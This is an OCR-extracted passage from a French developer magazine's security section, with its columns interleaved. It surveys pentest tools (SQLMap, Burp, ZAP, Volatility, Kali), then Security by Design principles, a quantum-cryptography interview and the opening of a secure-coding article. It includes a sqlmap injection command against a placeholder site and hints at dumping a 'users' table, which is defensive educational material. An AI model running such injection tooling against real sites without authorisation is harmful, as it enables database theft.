base de données quel que soit le format de votre URL avec ou sans Son rôle est de tester la résistance de vos applications Web pour
option de redirection. Les adresses internet possibles sont : vérifier la sécurité. Il va regarder ce qui se passe entre le navigateur
http://votreSite.com/?id=123 Web et le serveur.
http://votreSite.com/123/view La technique utilisée permet d'injecter des données non conformes
http://votreSite.com/123/456 dans l'objectif de provoquer un comportement anormal de l'appli-
http://votreSite.com/123 cation et donc d'en identifier les bugs et vulnérabilités associées.
Nous testerons la dernière ligne de l’exemple pour remonter à la
base de données. Il s’utilise de la manière : �
Pour cela, vous téléchargez SQLMap et en ligne de commande, • La première étape consiste à modifier les paramètres réseau de
vous taperez ceci : votre navigateur pour lui ajouter le port 8080 pour capturer
toutes les requêtes GET et POST. ��
$ ./sqlmap.py -u http://votreSite.com/1* --wizard
• L’étape suivante est de signaler à Burp qu’il doit utiliser le proxy
Les arguments sont : défini ci-dessus en accédant à l’écran des options de l’onglet
• -u URL adresse du site cible Proxy.
• --wizard interface simple utilisateur � Par ailleurs, vous exportez le ‘CA certificate’ dans le navigateur
À cette étape, nous ne remplissons pas le champ --data qui est le avec sa clé privée.
nom de la base de données que nous ne connaissons pas Avant d’intercepter les requêtes, vous devez actionner le bouton
Ensuite, nous renseignerons : ‘intercept on’ du sous-onglet Intercept
• Risk à 2 pour moyen, ce qui signifie la difficulté d'injection. Quand vous tapez une URL du site dans votre navigateur, les
• Enumération à 2 pour un dénombrement intermédiaire. requêtes sont interceptées directement par Burp ��
Pour obtenir le résultat suivant �
Nous connaissons maintenant l’environnement où se trouve la
base de données, son nom et les noms des tables
Pour obtenir le contenu de la table ‘users’ vous devrez renseigner
certaines valeurs supplémentaires dans les arguments pour en lister
son contenu. Site officiel : http://sqlmap.org/

Applications Web
Burp Suite est une suite d’outils comprenant un serveur proxy (Burp
Proxy), un robot d’indexation (Burp Spider), un outil d'intrusion
(Burp Intruder), un scanner de vulnérabilités (Burp Scanner) et un
répéteur HTTP (Burp Repeater).

��

� ��
22 //programmez.com
SÉCURITÉ

Cet onglet apporte de nombreuses informations importantes que


vous retrouvez dans l’onglet historique de ce logiciel avec un maxi-
mum d’information, de requêtes envoyées au serveur.
À partir de là, l’écran affiche les variables d’une couleur différentes
qu’il sera possible de modifier et de rejouer à volonté.
Site officiel : https://portswigger.net/burp

Développement
Il existe de nombreux frameworks ou logiciels pour vous aider à
sécuriser votre développement, qui sont aussi utilisés pour faire des
tests de pénétrations que vous n’avez pas faits auparavant. Le plus
connu est Owasp ZAP qui signifie ‘Zed Attack Proxy’. Son rôle va
trouver les vulnérabilités de sécurité dans vos applications Web pen-
dant que vous développez et les tester. ��
Pour cela, vous lancez l’application et tapez l’adresse du site inter-
net, et vous cliquez sur ‘attack’. �� ��
Lorsque le logiciel a terminé, vous obtenez le résultat avec les dif-
férents niveaux d’alertes. ��
Vous choisissez une ligne pour obtenir le détail de la faille. L’écran
affiche la position qui pose un problème et vous explique dans une
description les risques encourus, la solution et le lien de la référence
OWASP pour vous aider à la corriger.
Par ailleurs, il propose un proxy pour vous faciliter l’utilisation dans
une intégration continue et la répétition de cycle de tests.
Site officiel : https://www.owasp.org/index.php/ZAP

La mémoire vive
La mémoire vive (appelée RAM) est une source d’informations
volatiles. Elle est automatiquement perdue quand le système est
éteint. Cet espace de stockage peut mémoriser les mots de passe,
processus d’exécution, sockets ouverts, presse papier… qui est
exploité par différents logiciels.
L’outil Volatility prend en charge une variété de formats de fichiers ��
comme les échantillons linéaires (dd), virtualbox, Vmware, EWF,
Lime, firewire, Qemu…
Il est possible de connaître la liste des formats compatibles en
tapant ceci :

$ volatility --info

Vous obtenez une liste de profils, plug-ins, adresses mémoires qui


sera utile pour la suite ��
Par exemple vous possédez une allocation de mémoire ‘test.raw’ et
vous souhaitez obtenir les informations concernant l’image comme
ceci :

$ volatility -f test.raw imageinfo

Vous obtiendrez les informations de bases qui sont les profils com-
patibles. ��
L’étape suivante va permettre de connaître le contenu en mémoire
que nous listerons comme ceci :

$ volatility -f test.vmem --profile=Win7SP1x86 pslist

Nous obtenons le résultat suivant ��


Enfin, suivant les plug-ins que vous utilisez, le résultat obtenu pour-
ra être plus critique. Il faut bien entendu ne pas oublier de sécuriser
Site officiel : https://github.com/volatilityfoundation/volatility ��
programmez.com// 23
SÉCURITÉ

Un environnement ��
Kali Linux est une plateforme open source de tests de pénétration,
basée sur Debian.
Cette plateforme fonctionne sur Rasberry PI, Virtual box, VMWare,
ARM avec les différentes interfaces utilisateurs comme Gnome,
��
KDE, xfce...
��
Son but est une solution clef en main pour éviter de rechercher et
de télécharger les logiciels manuellement. Elle rassemble plus de
600 programmes d’analyse de sécurité préinstallés, dont certains
décris ci-dessus.
Ainsi, vous trouverez sur le site Web de Kali l’ensemble des outils
disponibles, classés dans différentes catégories comme :
• Applications Web
• Attaques sans fil
• Analyse de vulnérabilité
• Collecte d'information
• Outils d'exploitation
• Tests de stress
• Outils médico-légaux
• Sniffing & Spoofing
• Attaques par mot de passe
• Maintien de l'accès
PENTEST MATÉRIEL ! • Ingénierie inverse
Christophe a parlé des pentests logiciels. Il existe plusieurs plateformes de pénétrations • Outils de reporting
matérielles. Les plus connues sont : Pirate Bus, Shikra, GoodFeet, Hardsploit, • Piratage matériel
JTAGulator et même une simple Pi ! La Pirate Bus est sans doute la plus connue et une Après avoir téléchargé et installé la version de votre choix, vous
des plus utilisées. Elle supporte les protocoles les plus diffusées : UART, SPI, JTAG, mettez à jour les logiciels :
SWD. Il est aussi possible de flasher des firmwares grâce à cette carte. Vous imaginez
les possibilités ? Par exemple : hacker une gateway IoT en injectant du code ou rem- $ apt upgrade
placer le firmware, surtout si les ports ne sont pas fermés… $ apt update
Le pentest matériel est souvent plus complexe mais les possibilités sont immenses.
Même si Kali Linux est un environnement prêt à l’emploi, le para-
Quelques tutos et hacks pour comprendre le risque : métrage des logiciels que vous utiliserez sera nécessaire, car vous
https://www.senseofsecurity.com.au/sitecontnt/uploads/2018/08/AusCERT2018-Introduction-to-IoT- êtes le seul responsable.
Security-Assessment-and-Penetration-Testing.pdf Par ailleurs, le portail Web de ce projet apporte de nombreuses
informations, versions et des fiches techniques des logiciels listés
https://nvisium.com/blog/2019/08/07/extracting-firmware-from-iot-devices.html
qui vous aideront à vous repérer pour sécuriser votre infrastructure.
Site officiel : https://www.kali.org/

Conclusion
Les tests de pénétrations sont étendus et couvrent l’ensemble des
risques. Vous trouverez votre bonheur dans cet article pour un
usage privé et encadré, ou en préventif.
Toutefois, vous ne devez pas perdre de vue que les scans de vulné-
rabilités doivent être quotidiens pour réduire les risques de cyber
attaques, car les hackers sont actifs 24h/24 et 7/7. Ces personnes
utilisent de nombreux outils de façon automatique sur des applica-
tions qui ne contrôlent pas assez leur sécurité.
L’impact des tests d’intrusions ne doit pas se limiter à l’interface de
l’application utilisateur, mais à son ensemble.
Bien entendu, quel que soit l’outil de test que vous choisirez dans
le cadre de l’amélioration de la sécurité de votre réseau, bases de
données, langages, vous devez le faire régulièrement et non la
veille de la mise en production. •

24 //programmez.com
Flavien Dumur SÉCURITÉ
ADIKTS
Application Security and
DevSecOps specialist

Security By Design version développeur


Le concept du Security by Design (ou Secure by Design), que l’on abrègera en SbyD dans la suite de cet article, dans le déve-
loppement applicatif a pour but d’intégrer la sécurité dès la phase de conception. Ceci en évaluant le risque et les contrôles
nécessaires à mettre en place en anticipant aussi la maintenance, comme l’obsolescence de composants et de stacks logi-
ciels, ou simplement en prévoyant la fin de vie d’une application.

P
ar analogie à l’aéronautique, où la (GDPR), des ressources techniques, des l’effort, tant humain que financier, sera dif-
sécurité d’un système ou d’une orga- services et comptes associés. férent entre un site institutionnel et des
nisation dépend directement des Les principaux éléments que nous allons applications bancaires ou embarquées
risques auxquels ils seront confrontés en décrire sont les suivants : d’un point de vue sécurité mais aussi en
vol, le développement sécurisé d’une appli- • La définition des assets et des éléments termes de développement pur.
cation s’applique avec le même objectif ; de sécurité inhérents ;
l’amélioration continue des processus pour • La compréhension du risque informa- Comprendre
répondre aux exigences liées à son usage. tique et de la menace associée ; les attaquants
En d’autres termes, la sécurité dès la • La classification de l’applicatif en fonc- Cette réflexion est primordiale dans le
conception, dépendra : tion des quatre piliers de la Sécurité Security By Design, connaître son ennemi
• Des fonctionnalités business de l’applica- applicative ; est une base de l’Art de la Guerre (Sun Tzu)
tion et des données traitées, personnelles • L’importance de l’Architecture fonction- mais également un atout pour les dévelop-
ou critiques pour l’entreprise en rejoi- nelle et technique d’entreprise ; peurs afin d’adapter les contrôles et être
gnant le Privacy By Design. Les principes de base de la sécurité et des accompagnés par les équipes transverses.
• De l’implication de tous les acteurs du exemples. Les profils d’attaquants sont nombreux,
projet, pas seulement les développeurs Enfin, l’aspect préventif est prédominant mais en voici une liste volontairement in-
qui portent souvent l’unique responsabili- car les coûts de remédiation en production complète :
té du code dans cet enjeu mais bien, du ne seront évidemment pas les mêmes • Personnel interne à l’entreprise, voire
business en passant par les équipes trans- qu’en phase de conception et/ou de déve- programmeurs, mécontents ou sur le dé-
verses comme l’Architecture et les loppement itératif. La préparation à un part ;
Opérations. incident de sécurité applicatif par exemple • Organisations criminelles mal intention-
On parle donc ici de sécurité pilotée par le doit pouvoir permettre d’en réduire les im- nées ;
risque afin d’adapter au mieux les efforts de pacts sur l’entreprise (image, pertes • Cybercriminels motivés ;
chacun en fonction des contraintes métier financières, …). • Concurrence pour espionnage industriel
(time-to-market, engagement client, etc.), par exemple ;
des standards d’architecture, de sécurité et Clarification des • Apprentis utilisant des scripts trouvés sur
opérationnels d’une entreprise. ressources numériques Internet ;
La première étape est de qualifier les don- Et de même pour les attaques :
Principes généraux nées à protéger pour en adapter les • Vol de données sensibles (personnelles,
Le SbyD, au même titre que le DevSecOps, contrôles nécessaires. Nous abordons ici le bancaires, santé) ;
est l’intégration du risque et des éléments besoin métier de protéger la donnée en • Virus, chevaux de Troie sur le système ;
de sécurité pendant la phase de conception fonction du risque business en termes de • Fraudes ;
et aussi durant l’intégralité du cycle de vie réputation, de vol, de fraude, de falsifica- • Usurpation d’identités ;
applicatif : tion, etc. • Atteinte à l’image.
• Conception : qualification du risque, En termes de contrôles, la question se basera Bien qu’il soit difficile de connaître les moti-
adaptations des contrôles, intégration au par exemple sur le besoin d’auditer l’appli- vations réelles des attaquants et comme les
SI et aux pipelines CI/CD ; cation. En effet, elle peut être soumise à techniques évoluent très vite, le Security By
• Vie courante : monitoring, opérations de une régulation. Ou plus simplement à une Design doit permettre de réduire le risque
maintenance comme la mise à jour de analyse de surface à l’aide d’un outil dyna- sur une échelle de temps convenable.
composants et stacks d’exécution deve- mique de sécurité en plus des habituels En retour d’expérience, quelques questions
nus obsolètes et/ou vulnérables, mise à tests unitaires et d’intégration qui viendront utiles à se poser :
jour des politiques de sécurité ; compléter les contrôles métier applicatifs. • Que pourrait-on faire en contournant la
• Désengagement : suppression des don- Cette étape permet donc de définir les res- logique applicative ?
nées comme précisé par le RGPD sources avec la topologie d’application, car

programmez.com// 25
SÉCURITÉ

veau de classification d’une application au- Point important, les pratiques mises en
quel peut s’ajouter par exemple l’exposition place pour atténuer le risque doivent être
de l’application sur Internet comme critère. également décrites et de facto l’architecture
applicative sécurisée devra évoluer durant
Architecture applicative le cycle de vie complet de l’application jus-
sécurisée qu’à son abandon.
La conception actuelle d’applications doit
désormais, en plus du besoin initial en Principes de Sécurité
termes de fonctions et d’intégration au SI, Ces principes sont la base du développe-
prendre en compte le risque et ainsi adap- ment sécurisé et permettent de comprendre
ter le projet. facilement les exploitations potentielles et
L’aspect dimensionnement au cas d’utilisa- surtout vulgariser des bonnes pratiques,
tion nominal ne suffit plus et les cas toujours dans le but de réduire le risque glo-
extrêmes d’attaques doivent être pris en bal.
compte (Brute force, bots, injections, déni
� de service, etc.) au démarrage du projet. Minimiser la surface d'attaque
• Quelles sont les dernières attaques que Une architecture de sécurité d’une applica- Chaque fonction est par définition un risque
mon entreprise ait subies ? tion pourrait se décomposer en : de sécurité en plus pour l’application dans
• Mon application peut-elle être utilisée • Une couche logicielle où la confidentiali- son ensemble, donc l’exposition d’une
pour récupérer des données afin d’en at- té, l’intégrité et l’accès aux données aux fonction, d’un service ou d’une donnée doit
taquer d’autres ? bons utilisateurs est maîtrisée par diffé- être réalisée au juste nécessaire pour rem-
• Quelle sera sa durée de vie ? Et son expo- rents contrôles ; plir son besoin initial.
sition médiatique en interne ou en • Une infrastructure permettant des Par exemple :
externe ? contrôles spécifiques à l’application et • Une fonction de recherche authentifiée
• Quels sont les composants embarqués ou non à un ensemble de produits ne cou- peut être un risque d’injection SQL ou de
d’exécution qui arriveront en fin de sup- vrant pas le risque business sous-jacent Cross Site Scripting, donc elle se doit
port d’ici les deux prochaines années ? mais uniquement le périmétrique ; d’être validée côté serveur afin de réduire
Pour information, de nombreuses forma- • Un aspect gouvernance, où l’application ces risques ;
tions permettent d’appréhender les bases réutilise des patterns d’architecture • L’interface d’administration doit-elle être
du « ethical hacking » afin de pouvoir intui- comme le découplage, les API, les stacks accessible depuis Internet ? Si oui, est-il
ter les vecteurs d’attaques et les exploita- techniques connues et maitrisées dans possible de mettre en place un filtrage IP
tions potentielles, mais surtout apprendre à leur exploitation, etc. ou une authentification forte ?
tester ses propres développements. Il est possible par exemple de s’aider de • Les ports ouverts sur ma machine sont-ils
méthodologies Open Source qui permet- tous utiles au bon fonctionnement appli-
Piliers de la sécurité tent de : catif ? Si non pourquoi ne pas les fermer
applicative • Modéliser la menace selon les exploita- pour éviter tout risque.
Ils sont au nombre de quatre : tions potentielles : STRIDE ;
• Confidentialité : n'autoriser que l'accès • Quantifier le risque d’une vulnérabilité : Établir des valeurs sécurisées
aux données auxquelles l'utilisateur a DREAD. par défaut
droit ; Plus d’informations sur STRIDE/ DREAD : Chaque fonction doit apporter la meilleure
• Intégrité : s’assurer que les données ne https://wiki.openstack.org/wiki/Security/OSSA-Metrics expérience utilisateur possible pour un be-
soient pas falsifiées ou manipulées par Par conséquent, le concept de SbyD doit soin dans un contexte de sécurité standard.
des utilisateurs non autorisés ; permettre d’analyser la sécurité de chaque Ce contexte doit être défini soit par l’entre-
• Disponibilité : permettre l’accès aux sys- fonction pendant la phase de conception prise de manière globale, soit par le métier,
tèmes et aux données pour les utilisateurs une fois le modèle métier établi. l’équipe de développement pourra en pro-
autorisés en fonction de leurs besoins ; En termes d’exemple de fonctions, le sché- poser à défaut mais ne devra pas en porter
• Traçabilité : s’assurer que les journaux ma permet d’appréhender les différents la responsabilité.
d'audit et de monitoring sont bien implé- besoins de sécurité d’une application trois Par exemple, la fonction de modification de
mentés et protégés surtout pour les tiers : � mot de passe se base sur une politique de
éléments stratégiques. Chaque fonction, orientée sécurité dans ce caractères, une durée de vie, etc. Dans cer-
Ces piliers serviront ensuite à la construc- schéma devrait susciter une question liée tains cas, le business peut demander à
tion de contrôles robustes correspondant au risque métier. modifier cela pour ces utilisateurs, néan-
aux principes de sécurité ci-après et adap- Par ailleurs, la fonction est aussi bien une moins cela devra être validé et par
tés aux fonctions applicatives et leurs fonction métier qu’une fonction purement conséquent portera la responsabilité du
criticités. technique, ce qui doit permettre de les ap- risque introduit.
Également, ils permettent un premier ni- préhender de la même manière.

26 //programmez.com
SÉCURITÉ

Le principe du moindre Ne faites pas confiance En cryptologie, tout repose sur le secret de
privilège aux services la clé, mais si l’algorithme utilisé est obsolè-
Chaque utilisateur doit posséder les droits L’utilisation de services externes est deve- te car l’application est très ancienne par
nécessaires pour réaliser ses processus nue légitimement une pratique courante et exemple, l’attaquant pourra retrouver la clé
métier dans l’application et ce de manière requiert une attention particulière. initiale via des outils dédiés de brute force
minimale. Cela s’applique aussi bien à l’ac- Les partenaires proposant ces services peu- et des dictionnaires, et ainsi contourner
cès aux données qu’aux ressources applica- vent avoir des politiques de sécurité très l’obscurité définie pour sécuriser. Des outils
tives et matérielles. différentes et des niveaux de maturité en d’analyse de cryptographie comme
La granularité des droits et l’utilisation de termes de développement et de sécurité Cryptosense permettent d’auditer les appli-
Frameworks peuvent permettre de faciliter la bien différents. cations et d’évaluer le risque induit et
gestion et l’implémentation de ce principe. La confiance d’un partenaire ne doit jamais surtout comment remédier.
Par exemple, lorsque l’on créé un compte être implicite et chaque service doit être
dans le cloud Amazon, il n’a aucun droit traité indépendamment. Un contrat de ser- Gardez la sécurité simple
d’accès à aucun service permettant ainsi de vice est déjà un bon point de départ mais De la même façon que pour la maintenabi-
les attribuer au strict nécessaire par la suite. n’assure pas que les données partenaire ne lité du code, la sécurité introduite dans
soient pas corrompues un jour. Également, l’application doit rester simple tout en assu-
Le principe de défense ce contrat doit permettre d’expliciter ses rant sa fonction et permettre son évolutivité
en profondeur exigences d’interconnexions et pouvoir per- dans le temps.
Un contrôle peut parfois suffire pour une mettre des analyses conjointes en cas Utiliser directement une librairie standard
fonction, néanmoins le point est le durcis- d’incidents de sécurité. du marché pour réaliser un protocole
sement en rajoutant des contrôles selon Par exemple, il est recommandé de prévoir OAuth par exemple, plutôt que de redéve-
différents vecteurs potentiels d’attaque. une validation des données avant de les af- lopper sa propre implémentation.
L’objectif est donc de réduire les risques de ficher. Demander à avoir un jeton Avoir une architecture logicielle simple per-
manière globale et de limiter l’exploitation renouvelable sur une durée décente pour met de conserver une bonne isolation entre
de vulnérabilités graves ou critiques au utiliser un service distant est aussi une les différents services et faciliter la gestion
maximum. bonne pratique. Cela permettra de s’assu- des différents contrôles d’accès.
En développement sécurisé, cela peut se rer qu’en cas de vol de ce jeton, le fenêtre
décrire par exemple par la « Ne jamais faire d’action de l’attaquant soit la plus limitée Résoudre les problèmes de
confiance aux entrées utilisateur » et ainsi possible. sécurité correctement
avoir plusieurs niveaux de validations dans Si un problème de sécurité est identifié, sa
chaque fonction. Séparation des tâches remédiation doit être préalablement testée
Un autre exemple, est de faire valider l’au- Elle a pour but d’éviter les fraudes et les pour éviter des régressions fonctionnelles.
torisation d’un utilisateur à une fonction à contournements de processus en interne et Elle devra aussi être appliquée de manière
chaque appel, de tracer les accès et actions se base sur la notion de confiance sur la va- globale sur l’ensemble des services et/ou
en fonction du risque, tout en étant capable lidation de la bonne réalisation d’une tâche applications impactées pour que la correc-
de bloquer temporairement ou non les ap- dans un contexte bien précis. tion soit effective.
pels successifs en cas de problème ou de Par exemple, un développeur ayant des Par exemple, si un service Web est corrigé
suspicion d’attaque. droits d’administrateur sur la plateforme de côté serveur sur sa partie autorisation, les
développement ne devrait pas les avoir en clients devront tous mettre à jour leur im-
Échouer en toute sécurité production et ainsi pouvoir visualiser des plémentation afin de pouvoir clôturer le
Dans les fonctions transactionnelles, la ges- données hors de son périmètre d’activités service vulnérable dans les délais les
tion des erreurs est primordiale afin de ne initial. meilleurs.
pas fournir de la connaissance à l’atta-
quant sur la sécurité en place ou les Évitez la sécurité par l'obscurité En conclusion
workflows de l’application. Bien qu’étant un contrôle de sécurité, l’obs- Implémenter le SbyD nécessite de la logique,
Par exemple, si une personne malveillante curité repose sur la non-divulgation des connaissances sur le risque et les atta-
essaie d’accéder à une fonction de manière d’informations liées à la structure, au fonc- quants. La qualité et la sécurité du code sont
non nominale, il peut obtenir des codes tionnement et l’implémentation d’un un gage de confiance envers les utilsateurs
d’erreurs lui permettant de comprendre la process informatique. Ils nécessitent néanmoins une compréhen-
logique de l’application, ou pire, des stacks L’exemple type est l’obfuscation du code sion et une appréhension du risque qu’un
d’exceptions lui permettant d’identifier les qui est censé bloquer toute rétro-ingénierie. développeur peut apporter dans une
technologies utilisées et ainsi continuer à Le contre-exemple venant de fait, sont les démarche d’amélioration continue. •
peaufiner son attaque future. projets Open Source comme Apache,
Linux, GPG entre autres où la sécurité est Référence :
améliorée par la communauté bien que les https://www.owasp.org/index.php/Security_by_Desig
sources soient publiques. n_Principles

programmez.com// 27
SÉCURITÉ
François Tonic
Rédacteur en chef
de Programmez!

Cryptographie quantique :
ÉCHANGE AVEC RENAUD LIFCHITZ
Nous avons eu l’occasion d’échanger avec Renaud Lifchitz (expert sécurité chez digital.security). Pour les
lectrices et lecteurs de Programmez!, Renaud n’est pas un inconnu, il avait publié un article sur l’informa-
tique quantique en 2015. Aujourd’hui, nous parlerons sécurité et cryptographie quantique. Une chose est
certaine : nous sommes à l’aube d’une révolution.

Cette approche repose sur la notion de

L
e quantique est l’un des buzz actuels.
Et cette nouvelle passion part un peu masque jetable. Chaque génération de clé
dans tous les sens, comme trop sou- est totalement aléatoire et il faut s’assurer
vent avec les buzz technologiques. que cela soit bien le cas. Et il faut s’assurer
« Rappelons que le quantique c’est la science que la clé ne soit pas interceptée par un
quantique et plus exactement les concepts “intrus” » nous explique Renaud.
quantiques ». Ce sont des mécanismes qui Le dernier point est très intéressant comme
régissent l’univers, la physique et le micro- explique Renaud : « si la clé quantique est
scopique. interceptée, pour pouvoir la décoder et la
« Quand on parle de cryptographie quan- lire, l’intercepteur est obligé de modifier la
tique, il s’agit d’utiliser la physique et l’infor- clé. Ce qui efface les données correspon-
matique quantique. Il s’agit, entre autres, dantes. »
d’un traitement quantique des données, en L’idée d’utiliser le quantique dans la sécuri-
binaire et dans une approche plus complexe té remonte aux années 1970 avec les tra-
que celui-ci. » introduit Renaud. vaux de Bennett et Brassard. Quelques
Parler de sécurité quantique, c’est souvent années plus tard, en 1984, ils définissent,
vague et un peu fourre-tout. Pour faire en théorie, un protocole pour la cryptogra-
simple : ce serait utiliser des technologies, phie quantique : BB84. En 1990, une autre
des mécanismes quantiques pour attaquer technique apparaît : utilisation de la corré-
et pour protéger des systèmes. On pourra lation quantique pouvant exister entre 2
parler de cryptographie quantique. Elle pro- photons (= intrication quantique).
tégera les communications. Ne jamais Comment transite la cryptologie quantique ?
oublier que le quantique peut servir à atta- « Les réseaux utilisant ce type de sécurité
quer, mais aussi à défendre. s’appuient des fibres optiques entre les per-
La cryptographie quantique est, théorique- sonnes (basiquement : émetteur & récep-
ment, le système le plus inviolable qu’il soit. teur). Pour s’assurer de la bonne communi-
Une attaque quantique ne pourrait pas la cation des clés, un simple code de correc-
casser. Pour réussir cet exploit, il faudrait tion d’erreur s’assure, avec une probabilité
violer les lois de la physique quantique. Ce aussi élevée que l’on souhaite, que person-
qui, actuellement, n’est pas concevable, ni ne n’a tenté d’intercepter la clé. »
en pratique ni en théorie. Mais alors comment utilise-t-on la crypto-
Si l’informatique quantique n’en est qu’à graphie quantique ? « Curieusement, c’est
ses débuts, la cryptographie quantique est le domaine le plus mature. Les matériels et
déjà mature et utilisée. logiciels existent. Il faut tout d’abord géné-
rer les clés quantiques. On peut le faire avec
Une idée ancienne un matériel adapté. Par exemple, le
Tout d’abord, définissons la cryptographie constructeur ID Quantique propose des
quantique. Pour simplifier : «il s’agit matériels dédiés. Pour échanger les clés, on
d’échanger des clés de sécurité entre deux utilisera plutôt une appliance réseau telle
Dwave personnes. Ces clés sont aussi longues que que Cerberis. Les deux sites ne doivent pas
© D-Wave les messages eux-mêmes (les données). être distants de +100 km (au-delà les

28 //programmez.com
SÉCURITÉ

pertes de données et la faiblesse du signal destinées à résoudre des problèmes d’opti- traditionnelles. « Nous ne pourrons plus uti-
sont trop importantes). L’échange peut se misation. liser la cryptographie comme aujourd’hui.
faire jusqu’à 100 Gbps. La transmission se « Actuellement, l’AES 128 est considéré Sur la cryptographie symétrique, il faudra
fait sur des uniques photons que l’on ne doit comme sûr et non cassé, du moins pas offi- doubler la taille des clés de chiffrement ou
pas perdre (sic). » poursuit Renaud. Et le ciellement. On considère qu’il faut un petit de hachage pour rester hors de portée
prix pour ces appliances n’est pas exorbi- multiple d’un algo dit symétrique (comme d’une attaque quantique. C’est un remède
tant, entre 5 000 et 10 000 € selon les AES) pour pouvoir le casser. Donc, pour cas- “simple”. Seul problème : on fait beaucoup
besoins. Les générateurs aléatoires quan- ser AES 128, il faudrait à minima un proces- de cryptographie non symétrique.
tiques sont vendus entre 1 000 et 5 000 €. seur quantique de 512 qubits. Alors, on Problème, les algorithmes de Shor rendent
Bien entendu, la cryptographie quantique, pourra commencer à chatouiller la crypto- l’algo asymétrique quasi caduc ! Car l’at-
qui assure donc une sécurité inviolable, graphie symétrique. Mais avec l’algorithme taque se fait sur l’algo en lui-même. Si on
répond à des usages très précis et n’est pas de Grover qui permet de diviser par 2 la double la clé, l’attaque a uniquement
adaptée à tout. (taille de la) clé symétrique, la marge n’est besoin de doubler, ou à peu près, sa puis-
La Suisse est l’un des pays les plus en avan- plus aussi grande qu’il n’y paraît. Casser un sance. Bref au lieu d’obliger à multiplier la
ce sur la cryptographie quantique. Elle est chiffrement 64 bits reste difficile et très puissance de calcul pour casser, nous
beaucoup utilisée par les banques. Les liai- long, mais les processeurs à plus de sommes presque linéaire même si le cassa-
sons se font en peer to peer. Un réseau en 256 qubits seront là dans quelques ge restera complexe et long. Et c’est bien le
étoile n’est pas compatible avec la crypto- années. » poursuit Renaud. problème de sécurité pour les prochaines
graphie quantique. « Aujourd’hui, une dou- En cryptographie asymétrique, largement années. » martèle Renaud.
zaine de réseaux d’échanges de clés sont utilisée aujourd’hui, nous arrivons à des Comme le dit Renaud dans ses interven-
disponibles et utilisables dans le monde ». Il clés de 768 bits et même 1024 (ex. : tions : la principale menace est l’algo de
existe aussi des réseaux académiques, sur- Grover sur la cryptographie symétrique. Il

«
tout aux USA et en Chine. s’agit d’un algo pur quantique pour cher-
La recherche se focalise sur les échanges cher parmi N valeurs non triées, il est pro-
de clés quantiques à longue distance, via LA babiliste, itératif et optimal. En cryptogra-
des satellites. La technique semble fonc- phie asymétrique, Shor est un algo quan-
tionner, mais ce n’est qu’expérimental pour CRYPTOGRAPHIE tique pour la recherche de période. Il est
le moment. probabiliste, utilise une QFT (Transformée
QUANTIQUE de Fourier Quantique). Il casse RSA, DSA,
Une menace RÉSISTE MÊME ECDSA, ECDLP.
pour la cryptographie Le risque, potentiel pour le moment, est tel-
traditionnelle ? AUX ATTAQUES « lement important que les chercheurs veu-
Il est difficile de cerner le marché réel de la lent substituer la cryptographie asymétrique
sécurité quantique. Une chose est sûre : QUANTIQUES même si aujourd’hui la menace est plus
l’informatique quantique va peu à peu portée sur la clé et les mécanismes
menacer la cryptographie actuelle. Car le d’échanges, demain se sera sur la signature
quantique fournira une puissance de cal- des clés, les communications en elles-
culs supérieure à ce que l’on connaît RSA 1024). Un débat entre chercheurs dis- mêmes, etc. Pour réfléchir et trouver des
actuellement. Et la sécurisation actuelle des cute sur la meilleure méthode pour casser alternatives pour contrer les attaques quan-
communications, des données, les clés un RSA 2048: par la voie traditionnelle ou tiques, il existe une conférence annuelle
seront cassées, au moins sur les grands par le quantique ? « Cependant, pour casser dédiée : PQCrypto.
nœuds Internet. RSA 1024, il faudra une puissance de plu-
« Il faut avoir en tête que l’informatique sieurs dizaines voire centaines de milliers de Actuellement
quantique fait des bonds colossaux : nous qubits, voire, plus. On ne devrait pas voir ce 6 familles d’algos
sommes passés à des ordinateurs quan- genre de puissances avant 15, voire, 20 sont étudiées :
tiques de 2 à 4 qubits à +40 et librement ans. » poursuit Renaud. • Lattice
accessibles ! Aujourd’hui, on atteint les Soyons tout de même attentif, car : le cas- • Multivariate
128 qubits avec des puces universelles » sage de clé symétrique et asymétrique exis- • Hash
explique notre expert. te. Le quantique y jouera un rôle important. • Code
• Supersingular elliptic curve isogeny
Sans revenir sur les notions de base, la Kézako la cryptographie (rien que le nom est sympa)
puce quantique universelle est une puce post-quantique ? • Symmetric key quantum resistance
capable de supporter tous les algorithmes La notion de cryptographie post-quantique Cependant, aujourd’hui, il existe peu d’algo
quantiques (Shor, Grover, etc.), à l’opposé est trompeuse. Ce n’est pas la cryptogra- asymétrique post-quantique. Le plus connu
des puces adiabatiques comme celles utili- phie après le quantique, mais la cryptogra- est NTRU, qui existe pour le chiffrement et
sées par D-Wave. Elles sont essentiellement phie quand le quantique aura cassé les clés la signature électronique. •

programmez.com// 29
Jérôme Thémée
SÉCURITÉ Passionné de hacking depuis 1998, Jérôme décide d'en faire son métier en
prenant un poste de freelance dans la formation et le conseil en Cybersécurité.
Jérôme a évolué dans le monde de la cybersécurité avec l'écriture de livres, le
poste de trésorier du Club EBIOS, créateur de support de cours pour l’ANSSI,
auteur aux éditions ENI.

Les 10
concepts du développement
sécurisé sur une application WEB
Afin de pouvoir développer avec les bonnes pratiques en matière de sécurité applicative, il est nécessaire de se pencher sur
les outils existants et d’en faire sa propre expérience. Sur le marché, nous pouvons trouver l’incontournable OWASP (Open
Web Application Security Project) qui est une communauté regroupant plus de 32 000 personnes dans le monde autour de
projets sur la sécurité des applications Web, mobile, IOT. L’ANSSI (Agence nationale de la sécurité des systèmes d'informa-
tion), qui pourrait être considérée comme “l’agence mère” de la sécurité des systèmes d’information Française pour les orga-
nismes étatiques, sort régulièrement des directives en matière de cybersécurité et sécurité de l’information.

G
énéralement, les formations APPSEC (application security) Chaque langage a ses particularités mais les fondamentaux restent
niveau se focalisent dans un premier temps sur l’aspect offensif les mêmes. Pour la mise en place des bonnes pratiques, il vous
100 200
/ avec des démonstrations de hacking. Ceci afin de
comprendre comment les pirates (hackers) procèdent. Par la suite,
on continue sur le défensif avec les bonnes pratiques en matière de
suffira de regarder le manuel des langages que vous utilisez.

1- L’authentification
code, durcissement des serveurs/clients et gouvernance. En effet, les systèmes d'authentifications sont partout. Nos montres
Dans cet article, je vous propose de traiter l’urgence avec une intelligentes, nos smartphones, les annuaires d’entreprises et bien
première passe sur les bons concepts du “secure code” via les sûr nos applications. Ces systèmes parfois simples de l’extérieur,
sources OWASP. En effet, avant même de pouvoir comprendre les mais compliqués en interne, nécessitent une approche “secure by
concepts parfois complexes des attaques, il est nécessaire design”. C’est à dire bien configurés et administrés dès la création
d'éteindre l’incendie en utilisant dans l’immédiat, les bonnes du projet.
pratiques. Voici le début de notre checklist : �
